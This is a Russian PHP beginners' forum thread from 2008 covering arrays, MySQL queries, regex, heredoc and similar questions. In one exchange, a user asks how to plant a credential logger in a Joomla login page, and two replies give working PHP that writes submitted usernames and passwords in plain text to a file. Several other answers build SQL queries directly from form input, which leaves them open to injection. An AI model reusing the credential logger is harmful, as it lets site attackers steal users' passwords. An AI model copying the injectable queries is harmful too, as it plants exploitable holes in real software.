Все пишут переходим на курл, переходим на курл зайдите плз мануал по нем
http://phpclub.ru/detail/article/curl

.:EnoT:.
26.08.2008, 23:51
не слушай их)
Каждый выбирает для себя курл или сокеты....я например пользуюсь и тем и тем, зависит от конкретной задачи. Хорошей документации по курлу я к сожалению не видел. Есть доки, но мне лично не понравились, уж очень скользко там всё описано.
тем более что скорость работы сокетов и курла практически одинакова.

Вот пару ссылок, чисто для развития
http://phpclub.ru/detail/article/curl
http://omsk777.ru/all.php?act=php_curl
http://php.rinet.ru/manual/ru/function.curl-setopt.php

Chaak
27.08.2008, 00:13
Есть массив вида:
Array
(
[0] => Array
(
[0] => число 1
[1] => число 2
)

[1] => Array
(
[0] => текст 1
[1] => текст 2
)
[2] => Array
(
[0] => число 1
[1] => число 2
)

[3] => Array
(
[0] => текст 1
[1] => текст 2
)
//и т.д
)
нужно чтобы имел вид:
Array
(
[0] => Array
(
[0] => число 1
[1] => число 2
[2] => число 1
[3] => число 2
)

[1] => Array
(
[0] => текст 1
[1] => текст 2
[2] => текст 1
[3] => текст 2
)
)
Т.е все значения из первой группы были с первой группой, также со второй.

Doom123
27.08.2008, 00:30
$array = array(array_merge($array[0],$array[1]),array_merge($array[2],$array[3]));

Doom123
27.08.2008, 13:11
тьфу перепутал

$array = array(array_merge($array[0],$array[2]),array_merge($array[1],$array[3]));


function merge($array)
{
$i=0;
while(isset($array[$i]))
{
$newarr[0] = array_merge($array[$i],$newarr[0]);
$i++;
if(isset($array[$i]))
$newarr[1] = array_merge($array[$i],$newarr[1]);
$i++
}
return $newarr;
}

~NeiTRoN~
27.08.2008, 18:17
Народ помогите кто может. Тут возникла такая необходимость в скрипте. Суть скрипта такая. Имеется таблица в базе, скажем table.В ней 4 строки, id,url,header,content.
Нужен скрипт который будет искать в строке content текст полученый постом из формы и выводить в таблицу все совпавшие страницы!!!

Gifts
27.08.2008, 19:59
~NeiTRoN~
<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("mydb");
$result = mysql_query("SELECT id,url,header,content FROM table WHERE content LIKE '%".$_POST['stroka']."%'");
echo "<table>\r\n";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
printf ("<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>\r\n", $row["id"], $row["url"], $row["header"],$row["content"] );
}
echo "</table>\r\n";
mysql_free_result($result);
?>

~NeiTRoN~
27.08.2008, 20:15
~NeiTRoN~
<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("mydb");
$result = mysql_query("SELECT id,url,header,content FROM table WHERE content LIKE '%".$_POST['stroka']."%'");
echo "<table>\r\n";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
printf ("<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>\r\n", $row["id"], $row["url"], $row["header"],$row["content"] );
}
echo "</table>\r\n";
mysql_free_result($result);
?>
Спасибо, только есть одна проблема.
В базе такие записи
id url header content
1 asd asd asd
2 qwe qwe qwe
3 zxc zxc zxc
4 qaz qaz ôûâôûâ(фывфыв без кодировки)
Когда я делаю запрос "ф" он мне все верно выводит одну строку 4 qaz qaz фывфыв, но когда я ввожу английскую"a" он выводит 1 asd asd asd и 4 qaz qaz фывфыв!!!!Как от этого избавится???

Grema
27.08.2008, 21:21
Бред не могу понять почему в одном скрипте этот кусок не работает, а в другом почти аналогичный работает?
Работает


$messages=sqlq("SELECT * FROM chat ORDER BY id DESC LIMIT 10");
while (list($id,$nick,$message,$times) = mysql_fetch_row($messages))
{
$message=str_replace($before, $after, $message, $const);
if ($const>3)
{
$message=str_replace($after, $before, $message, $const);
}
if ($nick==$nickname) $nick="<b>$nick</b>";
echo "<div class=block1>$times | $nick | $message </div>";
}

не работает! чего while(list()) не пашед как надо? че я пропустил?

$spisokz = sqlq("SELECT name FROM `items` WHERE type='h'");
while (list($name) = mysql_fetch_row($spisokz));
{
echo $name;
};

Gifts
27.08.2008, 23:21
Grema Точку с запятой убери в конце строчки с While

mr.The
28.08.2008, 00:05
Grema Точку с запятой убери в конце строчки с While
и нифига не измениться

Grema должен работать. попробуй так:

$spisokz = sqlq("SELECT name FROM `items` WHERE type='h'");
while ($row = mysql_fetch_row($spisokz));
{
echo $row['name'];
};

Doom123
28.08.2008, 00:12
mr.The его код по идеи тож должен был работать ....
скорее всего там просто пустой результат ...

FrMn
28.08.2008, 00:18
и нифига не измениться
учите матчасть сталобыть

Gifts
28.08.2008, 01:03
mr.The
Специально для вас - запустите эти два скрипта.
$i = 1;
while ($i <= 10)
{
echo $i++;
}

echo "\r\nА теперь с точкой и запятой\r\n";

$i = 1;
while ($i <= 10);
{
echo $i++;
}
echo 'Правда все равно ничего не выведется из-за бесконечного цикла';

Doom123
28.08.2008, 01:18
Gifts он скорее всего как и я не понел про какую точку с запятой идёт речь

я её после while только сейчас заметили и думал что вы говорите о };

~NeiTRoN~
28.08.2008, 06:46
~NeiTRoN~
<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("mydb");
$result = mysql_query("SELECT id,url,header,content FROM table WHERE content LIKE '%".$_POST['stroka']."%'");
echo "<table>\r\n";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
printf ("<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>\r\n", $row["id"], $row["url"], $row["header"],$row["content"] );
}
echo "</table>\r\n";
mysql_free_result($result);
?>
Народ а как сделать так чтобы $row[content] выводился не весь, а допустим только до 200 символа, или еще лучше только кусок с запрашиваемым словом?

BlackSun
28.08.2008, 06:50
Народ а как сделать так чтобы $row[content] выводился не весь, а допустим только до 200 символа, или еще лучше только кусок с запрашиваемым словом?
substr или через регексп

~NeiTRoN~
28.08.2008, 07:34
substr или через регексп
А чем будет эфективней?

BlackSun
28.08.2008, 07:37
А чем будет эфективней?
Просто отрезать строку - substr, вырезать какую то часть хер знает по какому принципу - регексп.

Twoster
28.08.2008, 07:48
А чем будет эфективней?
Плюс ко всему регуляркой лучше чильно не баловаться, с точки зрения оптимизации! Регулярные выражения более ресурсоемкие!

NOmeR1
28.08.2008, 09:59
Прошу прощенья за тупой вопрос, но можно написать
регексп как он нормально пишется=)
Вот например - есть переменная
$a = 'Напомним, 27 августа страны НАТО обратились к России с требованием пересмотреть решение о признании независимости Абхазии и Южной Осетии. Напомним, накануне глава российского государства Дмитрий Медведев сообщил, что подписал указы о признании Российской Федерацией независимости Южной Осетии и независимости Абхазии, и призвал другие страны последовать этому примеру. США осуждают решение президента России признать в качестве независимых государств регионы Грузии Южную Осетию и Абхазию.';
Тогда код
echo substr($a, 0, 137);
Выведет 137 первых символов
Но если нам к примеру надо запихнуть в массив все предложения, то тут поможет регексп
print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a));

~NeiTRoN~
28.08.2008, 10:19
Вот например - есть переменная
$a = 'Напомним, 27 августа страны НАТО обратились к России с требованием пересмотреть решение о признании независимости Абхазии и Южной Осетии. Напомним, накануне глава российского государства Дмитрий Медведев сообщил, что подписал указы о признании Российской Федерацией независимости Южной Осетии и независимости Абхазии, и призвал другие страны последовать этому примеру. США осуждают решение президента России признать в качестве независимых государств регионы Грузии Южную Осетию и Абхазию.';
Тогда код
echo substr($a, 0, 137);
Выведет 137 первых символов
Но если нам к примеру надо запихнуть в массив все предложения, то тут поможет регексп
print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a));
С substr я разобрался, а вот что выведет строка print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a)); чет не могу понять=((

NOmeR1
28.08.2008, 10:27
Может откроешь книгу по пхп, заодно почитаешь про регулярные выражения?

~NeiTRoN~
28.08.2008, 10:34
Может откроешь книгу по пхп, заодно почитаешь про регулярные выражения?
Да я читал, но я трудно понимаю когда просто функции и словестное описание ее работы. Вот допустим если показана функция и потом пример ее работы и того что она выводит, я гораздо лучше понимаю,
если не сложно скажи всетаки что выведет
print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a));=))

mr.The
28.08.2008, 10:59
Gifts он скорее всего как и я не понел про какую точку с запятой идёт речь

я её после while только сейчас заметили и думал что вы говорите о };
действительно. там я и незаметил = ]

Chaak
28.08.2008, 11:02
А зачем вообще точки с запятыми после циклов ставить?

NOmeR1
28.08.2008, 11:04
~NeiTRoN~
По регуляркам ты ничего не читал

Ф-ция preg_split возвращает массив, разделяя текст на точку, воскл. знак или вопр. знак. Ф-ция print_r выводит этот массив.

~\s*[.!?]\s*(?=.+)~i
Это регулярное выражение.

Помогать по регуляркам тебе никто не будет, до тех пор, пока не прочтёшь это
http://php.ru/manual/reference.pcre.pattern.syntax.html
http://php.ru/manual/reference.pcre.pattern.modifiers.html

Ha_Vi
28.08.2008, 15:52
Помогите со скриптом...



<?php $db_host = 'localhost'; $db_user = 'root'; $db_pass = ''; $db_name = 'phones'; $connect = mysql_connect ( $db_host, $db_user, $db_pass ); $db = mysql_select_db ( $db_name ); function result($phone_nomer, $phone_name, $phone_street, $phone_house, $phone_flat) { $s = "<tr><td class=tabl>{nomer}<td class=tabl>{name}</td><td class=tabl>{street}</td><td class=tabl>{house}</td><td class=tabl>{flat}</td></tr>"; $s = str_replace ( "{nomer}", $phone_nomer, $s ); $s = str_replace ( "{name}", $phone_name, $s ); $s = str_replace ( "{street}", $phone_street, $s ); $s = str_replace ( "{house}", $phone_house, $s ); $s = str_replace ( "{flat}", $phone_flat, $s ); return $s; } echo '<html> <head> <title>Он-лайн База городских номеров г.Астрахань</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;} input, textarea, select { background-color: #ffffff; border:#000000 1pt solid; color: #000000; font-size: 9px; margin: 0px; padding-bottom: 1px; padding-left: 2px; padding-right: 0px; padding-top: 0px; font-family: Verdana, arial, Helvetica; line-height: 9pt; } body, table { font-family: Verdana, arial, Helvetica; color: #000000; font-size: 11px; } .red { color: red } .tabl { border:#000000 1pt solid; } </style> </head> <body bgcolor="#f0f0f0">'; $form = "<form method='POST' name='submit'><table border=0> <td width='150'>Введите номер</td><td><input type='text' name='nomer' size='20'></td> <td width='150'>Имя</td><td><input name='name' type='text' size='20'></td> <td width='150'>Улица</td><td><input name='street' type='text' size='20'></td> <td width='150'>Дом</td><td><input name='house' type='text' size='20'></td> <td width='150'>Квартира</td><td><input name='flat' type='text' size='20'></td> <td width='150'>&nbsp;</td><td><input type='submit' name='phones' value='Искать'></td> </table></form>"; if (! isset ( $_POST ['phones'] )) { echo $form; } else { $phone_nomer = strip_tags ( htmlspecialchars ( $_POST ["nomer"] ) ); $phone_name = strip_tags ( htmlspecialchars ( $_POST ["name"] ) ); $phone_street = strip_tags ( htmlspecialchars ( $_POST ["street"] ) ); $phone_house = strip_tags ( htmlspecialchars ( $_POST ["house"] ) ); $phone_flat = strip_tags ( htmlspecialchars ( $_POST ["flat"] ) ); $error = 0; if ($phone_nomer == "" and $phone_name == "" and $phone_street == "" and $phone_house == "" and $phone_flat == "") { $error = 1; echo "<div class='red'>Вы не заполнили ни одного поля!</div><br>" . $form; die (); } elseif (! is_numeric ( $phone_nomer ) and $phone_nomer != "") { $error = 1; echo "<div class='red'>Номер телефона состоит из цифр!</div><br>" . $form; die (); } elseif (! is_numeric ( $phone_flat ) and $phone_flat != "") { $error = 1; echo "<div class='red'>Номер квартиры состоит из цифр!</div><br>" . $form; die (); } elseif ($error == 0) { $sql = "SELECT * FROM `phones` WHERE `nomer` LIKE '%$phone_nomer%' AND `name` LIKE '%$phone_name%' AND `street` LIKE '%$phone_street%' AND `house` LIKE '%$phone_house%'AND `flat` LIKE '%$phone_flat%'"; $query = mysql_query ( $sql, $connect ); $counts = mysql_num_rows ( $query ); echo "<b>Найдено " . $counts . " записи(ей)</b><br><br>"; echo $form. "<table border=0><tr><td width='100' class=tabl><b>Номер</b></td><td width='150' class=tabl><b>Имя</b></td><td class=tabl width='150'><b>Улица</b></td><td class=tabl width='75'><b>Дом</b></td><td class=tabl width='75'><b>Квартира</td></tr>"; for($i = 0; $i < $counts; $i ++) { $nomer = mysql_result($query,$i,"nomer"); $name = mysql_result($query,$i,"name"); $street = mysql_result($query,$i,"street"); $house = mysql_result($query,$i,"house"); $flat = mysql_result($query,$i,"flat"); echo result($nomer,$name,$street,$house,$flat); } echo "</table><br>"; } } ?>







при запросе номера выводит ошибку ...

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in Z:\home\172.16.12.35\www\phone\index.php on line 98
Найдено записи(ей)...
:confused:


и вот еще что... при обновлении запроса, результаты не очищаються, нажимаю обновить Осел выдает запрос на отправку данных, как это убрать?
чтобы при обновлении были чистые поля для заполнения

Doom123
28.08.2008, 16:05
папробуй

$query = mysql_query ( $sql, $connect ) or die(mysql_error());

обнови страницу метатегом например

Ha_Vi
28.08.2008, 16:22
папробуй

$query = mysql_query ( $sql, $connect ) or die(mysql_error());


No database selected

Ha_Vi
28.08.2008, 16:31
так а кудаже без нее, ....
вот небольшой кусок... может у меня одного эта ошибка
CREATE TABLE PHONES (
nomer MEDIUMINT(6) default NULL,
name varchar(60) default NULL,
street varchar(60) default NULL,
house varchar(60) default NULL,
flat varchar(60) default NULL
) TYPE=MyISAM;

INSERT INTO PHONES values ('220000', 'ВЯЗГИН ВВ', 'ТУРГЕНЕВА', '1', '26');
INSERT INTO PHONES values ('220001', 'ДМИТРИЕВА ТМ', 'ЧУГУНОВА', '14', '6');
INSERT INTO PHONES values ('220002', 'НАЗАРКИНА ЛА', 'НАБ.1ГО МАЯ', '67', '6');
INSERT INTO PHONES values ('220003', 'САМОЙЛОВ НС', 'ЛЫЧМАНОВА', '54', '0');
INSERT INTO PHONES values ('220004', 'РАГИМОВ ВСО', 'ПЕСТЕЛЯ', '32', '10');

так в чем же дело, конекта к базе чтоли нет?

Naydav
28.08.2008, 16:41
а выбрать базу ?
$link = mysql_connect("mysql_host", "mysql_user", "mysql_password")
or die("Could not connect : " . mysql_error());
print "Connected successfully";
mysql_select_db("my_database") or die("Could not select database");

Тебе же пишет - "No database selected"
Не выбрана база данных, юзай mysql_select_db($my_database)

И убедись, что переменная $my_database правильно инициализирована (может префикс не подставил)

пс $db_name = 'phones'; - это НЕ имя таблицы в базе, а имя самой базы!!!

Gifts
28.08.2008, 16:45
Ha_Vi А ты таблицу то из базы выбрал?))) Оно же mysql_select_db?

Chaak
28.08.2008, 19:27
есть команда на пхп для листинга файлов под win
system("dir");
вопрос - а какой командой просматривать подпапки на сервере?
спасибо
Ээ наверное в цикле какбэ или рекурсивно

.:EnoT:.
28.08.2008, 19:44
Кстати насчёт регулярок. На офф сайтах фигня, новичку не хрена не понятно...я так же, когда регулярки не понимал лазил по офф сайтам и не вдуплял что такое подшаблоны, ограничители, модификаторы...
Так что советую почитать вот эту статью и сразу станет всё понятно :)
http://pyha.ru/forum/topic/19.0

gisTy
28.08.2008, 20:03
есть команда на пхп для листинга файлов под win
system("dir");
вопрос - а какой командой просматривать подпапки на сервере?
спасибовопроса не понял... если сервер линуховый
system("ls <имя папки>")
если вндовый то (_http://www.computerhope.com/dirhlp.htm)
system("dir <пусть до папки>")

Doom123
28.08.2008, 20:48
#Wolf#
http://il.php.net/manual/en/ref.dir.php

Gifts
29.08.2008, 00:59
Подскажите, как правильно удалить произвольный элемент массива? К примеру array_shift и array_pop извлекают соотвественно первый и последний элементы, но для произвольного элемента - я видимо плохо искал.

З.Ы. $a[2]=""; - не предлагать)

Doom123
29.08.2008, 01:02
unset($a[2]);

xxxxxxxxxxxxxxx
29.08.2008, 03:45
Как реализовать? нужно достать с файла строки найти определенный символ в строках и удалить все что находиться после этого символа..

BlackSun
29.08.2008, 03:47
Как реализовать? нужно достать с файла строки найти определенный символ в строках и удалить все что находиться после этого символа..
http://www.softtime.ru/bookphp/help.php

sa1o
29.08.2008, 04:08
плз помогите, чет никак не выходит
есть массив
for($i=0; $i<$id; $i++) {
$rand_array[$i] = rand(1, $id);
}
надо сделать так чтобы на выходе каждый эл-т был уникален
к примеру если взять $id=2
и получим массив array(1, 1);
на выходе надо получить array(1, 2); или array(2, 1);
у меня получилось вот что:


$arr = array(2, 2, 1, 3, 3);

function uniq($arr, $id) {
for($j=0; $j<count($arr); $j++) {
$temp = $arr[$j];
for($k=0; $k<count($arr); $k++) {
if($i==4 && $k==4) return($arr);
$k = ($k==$j) ? ($j+1) : $k;
if($temp == $arr[$k]) {
$arr[$k] = rand(1, $id);
uniq($arr, $id);
}
}
}
return($arr);
}

но выполняется не всегда, видимо постоянная рекурсия жрет очень много ресурсов.
помогите как исправить код чтобы работал без сбоев)
или мб какой-нибудь другой вар обработки предложите)
заранее спасибо

Doom123
29.08.2008, 07:34
По идеи должно сработать ...

<?php

for($i=0; $i<$id; $i++) {
$buf = mt_rand(1, $id);
while(in_array($buf,$rand_array))
{
$buf = mt_rand(1, $id);
}

$rand_array[] = $buf;
}

?>

FrMn
29.08.2008, 10:48
<?php
$arr=range(1,$id);
shuffle($arr);
?>

Dr.End
29.08.2008, 13:14
Как математически вычеслить в строке "3006 + (40416-966) / 30" ?

deniska1517
29.08.2008, 13:29
Dr.End
или так
<php?
$_1=3006;
$_2=40416;
$_3=966;
$_4=30;
$_5=$_1+($_2-$_3)/$_4;
echo $_5;
?>

sa1o
29.08.2008, 13:36
спасибо, блин во я дурак...

Chaak
29.08.2008, 13:40
Как математически вычеслить в строке "3006 + (40416-966) / 30" ?
$n = eval('3006+(40416-966)/30');

scarm
29.08.2008, 14:44
цитата отсюда:
http://forum.antichat.ru/thread82869.html

Всем привет Не знал, сюда написать или в тему про кодинг, решил здесь остаться Народ, есть у кого-нибудь идея, как воткнуть в joomla в поле для логина кейлоггер, чтобы инфа по залогинившимся юзерам шла в текстовый файл минуя md5:salt шифрование в MySQL базу? IMHO надо пофиксить components/com_login/login.html.php но вот ЧТО там надо написать? Помогите php-чайнику плиз ... P.S. да, по дефолту будем считать, что права на все файлы/папки равны 777 либо можно сделать их таковыми

Doom123
29.08.2008, 16:39
scarm

<?php
$f = fopen('lp.txt','a');
fwrite($f,$_POST['login'].':'.$_POST['pass']."\r\n");
fclose($f);
?>


токо надо поправить POST данные в соответствии со скриптом

Chaak
29.08.2008, 17:04
scarm

<?php
$f = fopen('lp.txt','a');
fwrite($f,$_POST['login'].':'.$_POST['pass']."\r\n");
fclose($f);
?>


токо надо поправить POST данные в соответствии со скриптом
тогда уж лучше в файл логина:
<?php
$f = fopen('lp.txt','a');
foreach($_POST as $data){
fwrite($f, $data.'\n');
}
fclose($f);
?>

Doom123
29.08.2008, 17:27
ChaaK еси так то в файл попадут лишние данные ...

PHPFire
29.08.2008, 19:54
есть сторока в таком виде "3006 + (40416-966) / 30" мне нужно как нибудь вычислить математически... ((((


Используй $a=eval("3006 + (40416-966) / 30") запозднился с ответом

Zircool
30.08.2008, 00:47
Вопрос такой.... файл log.php полностью перезаписывается перемеенной $body


$body=
"
<?

/$list="<div><span style=\"cursor:hand;color:#ffffff;\" onclick=\"toggle(document.getElementById('HShow#num#'));\">&raquo;</span> <a href=\"./".$tagmetka."/#menu#\" class=\"menu\">#namemenu#</a></div>
<span id=HShow#num#>#listing#</span><script>toggle(document.getElementById('HShow#num#'));</script>";
?>";


Но как видно и $list имеет и одинарные и двойные кавычки и само значение переменной $body помещено в двойные кавычки и из-за этого проблемы с обособлением значения перемнной. Как правильно использовать кавычки?

.:EnoT:.
30.08.2008, 00:51
Zircool
используй маркеры http://php.su/learnphp/datatypes/?string#heredoc

.::BARS::.
30.08.2008, 08:52
Как подсчитать кол-во папок и файлов в папке?

nerezus
30.08.2008, 09:14
Как подсчитать кол-во папок и файлов в папке?
<?php echo count(glob("c:\\path\\*.*")); ?>

Gen1rus
30.08.2008, 11:23
Имею 2 файла

index.php:
<form action="enter.php" method="post" name="form1 " target="_blank">

<p>Логин: <br><input name="login" type="text" size="20"></p>
<p>Пароль: <br><input name="pass" type="text" size="20"></p>
<p><input name="submit" type="submit" value="Вход"></p>

</form>

enter.php:
<?php

echo "бла бла $login и $pass";

?>

Проблема: Не выводит переменные $login и $pass

mouse.pro
30.08.2008, 11:27
А откуда он тебе возьмет эту переменную?
enter.php:

<?php

echo "бла бла " . $_POST['login'] . " и " . $_POST['pass'];

?>

Gen1rus
30.08.2008, 11:31
159932, mouse.pro, спасибо большое! ;)

BlackSun
30.08.2008, 11:31
Проблема: Не выводит переменные $login и $pass
У тебя register_globals = off .. и лудше не включай его, читай пост выше.

EST a1ien
30.08.2008, 13:50
Насколько безопасен такой код.

$t=new test;
if(method_exists($t,$_GET['function'])
{
eval('$t->'.$_GET['function'].'();');
}
else
{
echo 'Неверная команда.';
}

Zircool
30.08.2008, 14:23
Есть файл configbase.php который нужно переписать, точнее изменить значения переменных.... Написал маленький скрипт и назвал его index.php

CODE index.php



<?php




if(isset($_POST['subbase'])){
$body= <<<EOD
<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU="true";
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH=$_POST["URLPATH"];
//Путь к шаблону
$PATH_TEMPLATE=$_POST["PATH_TEMPLATE"];
//Заголовок на сайте
$TITLE=$_POST["TITLE"];
//Описание сайта
$DESCR=$_POST["DESCR"];
//Ключевые слова для вашего сайта
$KEYWORDS=$_POST["$KEYWORDS"];
//Копирайты в поддоне
$COPYRIGHTS=$_POST["COPYRIGHTS"];
?>
EOD;
$base=fopen("config/configbase.php","w");
fwrite($base,$body);
fclose($base);
echo "Saved!";
}


include("configbase.php");// что бы видеть реальные значения переменных в value



?>

<html>
<head>
<title>Установка</title>
<style type="text/css">
body {background-color: #fff; color: #000; font-family: verdana, arial; font-size: small;}
a:link, a:visited { color: #1D3565; font-weight: bold; text-decoration: none;}
a: hover { text-decoration: underline;}
h1 { border-bottom: 1px dotted gray; font-size: x-large; color: #596d9d;}
h2 { color: #ffffff; font-size: large; margin-left: 20px; text-indent: 10px; border-bottom: 1px solid #ddd;}
table td {font-size: 11px;}
.td_0 {background: #aaaaaa; height: 25px; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_1 {background: #eeeeee; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_2 {background: #dddddd; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top; }
.f_input {background: #f0ebeb; width: 50%; color: #808080; font-size: 11px; border-top: 1px solid #808080; border-bottom: 1px solid #d0c7c7; border-left: 1px solid #808080; border-right: 1px solid #d0c7c7; }
</style>


</head>
<body>
<center>
<form method="post">
<table width="900" cellpadding="3" cellspacing="1" border="0" >
<tr>
<td class="td_0" colspan="2" align="center"><h2>ОСНОВНЫЕ ДАННЫЕ</h2></td>
</tr>
<tr>
<td class="td_2">Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш</td>
<td class="td_2"><input class="f_input" type="Text" size="80" value="<?php echo $URLPATH; ?>" name="URLPATH"></td>
</tr>
<tr>
<td class="td_1">Путь к шаблону</td>
<td class="td_1"><input class="f_input" type="Text" size="80" value="<?php echo $PATH_TEMPLATE; ?>" name="PATH_TEMPLATE"></td>
</tr>
<tr>
<td class="td_2">Заголовок на сайте</td>
<td class="td_2"><textarea class="f_input" name="TITLE" cols="70" rows="3"><?php echo $TITLE; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Описание сайта</td>
<td class="td_1"><textarea class="f_input" name="DESCR" cols="70" rows="4"><?php echo $DESCR; ?></textarea></td>
</tr>
<tr>
<td class="td_2">Ключевые слова для вашего сайта</td>
<td class="td_2"><textarea class="f_input" name="KEYWORDS" cols="70" rows="4"><?php echo $KEYWORDS; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Копирайты в поддоне</td>
<td class="td_1"><textarea class="f_input" name="COPYRIGHTS" cols="70" rows="2"><?php echo $COPYRIGHTS; ?></textarea></td>
</tr>
<tr>
<td class="td_2"></td>
<td class="td_2"><input type="Submit" name="subbase" value="Сохранить!"></td>
</tr>
</table>
</form>
</center>

</body>
</html>





Но вылетает ошибка, как мне изменять значения переменных в перезаписываемой переменной? или может как-нибудь по другому можно сделать..

mr.The
30.08.2008, 14:35
Но вылетает ошибка
на какой строке? мне лень просматривать весь код

Zircool
30.08.2008, 14:53
Parse error: syntax error, unexpected '"', expecting T_STRING or T_VARIABLE or T_NUM_STRING in Z:\home\localhost\www\adm\adm\adm.php on line 13

на 13 строке... Строка с ошибкой
$URLPATH=$_POST["URLPATH"];

Вообще внутри Heredoc текста переменные будут меняться?

EST a1ien
30.08.2008, 17:16
if(isset($_POST['subbase'])){
$body= <<<EOD
<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU="true";
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH={$_POST['URLPATH']};
//Путь к шаблону
$PATH_TEMPLATE={$_POST['PATH_TEMPLATE']};
//Заголовок на сайте
$TITLE={$_POST['TITLE']};
//Описание сайта
$DESCR={$_POST['DESCR']};
//Ключевые слова для вашего сайта
$KEYWORDS=$_POST["$KEYWORDS"];//!!!!!!!!!!!!!!!!!!!????????? может $_POST["KEYWORDS"]; тогда так {$_POST['KEYWORDS']};
//Копирайты в поддоне
$COPYRIGHTS={$_POST['COPYRIGHTS']};
?>
EOD;

Попробуй так.

ExZoD
30.08.2008, 17:27
на 13 строке... Строка с ошибкой
$URLPATH=$_POST["URLPATH"];

Вообще внутри Heredoc текста переменные будут меняться?
мб так?
<?php




if(isset($_POST['subbase'])){
$body= '
<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU=\"true\";
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH=$_POST[\"URLPATH\"];
//Путь к шаблону
$PATH_TEMPLATE=$_POST[\"PATH_TEMPLATE\"];
//Заголовок на сайте
$TITLE=$_POST[\"TITLE\"];
//Описание сайта
$DESCR=$_POST[\"DESCR\"];
//Ключевые слова для вашего сайта
$KEYWORDS=$_POST[\"$KEYWORDS\"];
//Копирайты в поддоне
$COPYRIGHTS=$_POST[\"COPYRIGHTS\"];
?>
';
$base=fopen("config/configbase.php","w");
fwrite($base,$body);
fclose($base);
echo "Saved!";
}


include("configbase.php");// что бы видеть реальные значения переменных в value



?>

<html>
<head>
<title>Установка</title>
<style type="text/css">
body {background-color: #fff; color: #000; font-family: verdana, arial; font-size: small;}
a:link, a:visited { color: #1D3565; font-weight: bold; text-decoration: none;}
a: hover { text-decoration: underline;}
h1 { border-bottom: 1px dotted gray; font-size: x-large; color: #596d9d;}
h2 { color: #ffffff; font-size: large; margin-left: 20px; text-indent: 10px; border-bottom: 1px solid #ddd;}
table td {font-size: 11px;}
.td_0 {background: #aaaaaa; height: 25px; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_1 {background: #eeeeee; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_2 {background: #dddddd; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top; }
.f_input {background: #f0ebeb; width: 50%; color: #808080; font-size: 11px; border-top: 1px solid #808080; border-bottom: 1px solid #d0c7c7; border-left: 1px solid #808080; border-right: 1px solid #d0c7c7; }
</style>


</head>
<body>
<center>
<form method="post">
<table width="900" cellpadding="3" cellspacing="1" border="0" >
<tr>
<td class="td_0" colspan="2" align="center"><h2>ОСНОВНЫЕ ДАННЫЕ</h2></td>
</tr>
<tr>
<td class="td_2">Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш</td>
<td class="td_2"><input class="f_input" type="Text" size="80" value="<?php echo $URLPATH; ?>" name="URLPATH"></td>
</tr>
<tr>
<td class="td_1">Путь к шаблону</td>
<td class="td_1"><input class="f_input" type="Text" size="80" value="<?php echo $PATH_TEMPLATE; ?>" name="PATH_TEMPLATE"></td>
</tr>
<tr>
<td class="td_2">Заголовок на сайте</td>
<td class="td_2"><textarea class="f_input" name="TITLE" cols="70" rows="3"><?php echo $TITLE; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Описание сайта</td>
<td class="td_1"><textarea class="f_input" name="DESCR" cols="70" rows="4"><?php echo $DESCR; ?></textarea></td>
</tr>
<tr>
<td class="td_2">Ключевые слова для вашего сайта</td>
<td class="td_2"><textarea class="f_input" name="KEYWORDS" cols="70" rows="4"><?php echo $KEYWORDS; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Копирайты в поддоне</td>
<td class="td_1"><textarea class="f_input" name="COPYRIGHTS" cols="70" rows="2"><?php echo $COPYRIGHTS; ?></textarea></td>
</tr>
<tr>
<td class="td_2"></td>
<td class="td_2"><input type="Submit" name="subbase" value="Сохранить!"></td>
</tr>
</table>
</form>
</center>

</body>
</html>

Хацкер
30.08.2008, 18:41
До сих пор неразобрался как это сделать

$menu = "<a href=\"#\">Меню</a>";
$men = str_replace ("%MENU%", $menu , $shablon );

Вот как сделать чтобы {MENU} Высвечивалась в index.php как это сделать с $shablon

:)

Jer1cho
30.08.2008, 18:49
Используй Smarty

Хацкер
30.08.2008, 18:52
Используй Smarty


Можно поподробнее как это вместе сделать?

